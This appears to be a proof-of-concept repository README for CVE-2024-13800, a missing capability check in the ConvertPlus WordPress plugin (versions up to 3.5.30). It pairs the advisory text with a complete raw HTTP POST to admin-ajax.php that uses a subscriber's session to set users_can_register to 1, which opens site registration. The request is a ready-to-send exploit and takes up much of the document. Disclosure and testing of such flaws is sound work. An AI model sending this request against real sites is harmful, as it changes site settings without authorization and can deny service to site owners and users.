randomrobbiebf/cve-2024-13800Popup Plugin For WordPress - ConvertPlus <= 3.5.30 - Missing Authorization to Authenticated (Subscriber+) Limited Options Update
Popup Plugin For WordPress - ConvertPlus <= 3.5.30 - Missing Authorization to Authenticated (Subscriber+) Limited Options Update
The ConvertPlus plugin for WordPress is vulnerable to unauthorized modification of data that can lead to a denial of service due to a missing capability check on the 'cp_dismiss_notice' AJAX endpoint in all versions up to, and including, 3.5.30. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update option values to '1' on the WordPress site. This can be leveraged to update an option that would create an error on the site and deny service to legitimate users or be used to set some values to true such as registration.
Notes
It only puts a 1 in the database so you can only put in a 1 in users_can_register
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://kubernetes.docker.internal:5555
Connection: keep-alive
Referer: http://kubernetes.docker.internal:5555/wp-admin/options-general.php
Cookie: wordpress_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7C8cb19a315a9569e77d5be2bf7555f178a9edba2afbc32d1499b8cfd5552e28b9; wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-settings-time-1=1742893819; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7Cf4d35f828e20c240ecf95e5940bddf55741adc8048977e60afd45a178c003011
action=cp_dismiss_notice¬ice=users_can_register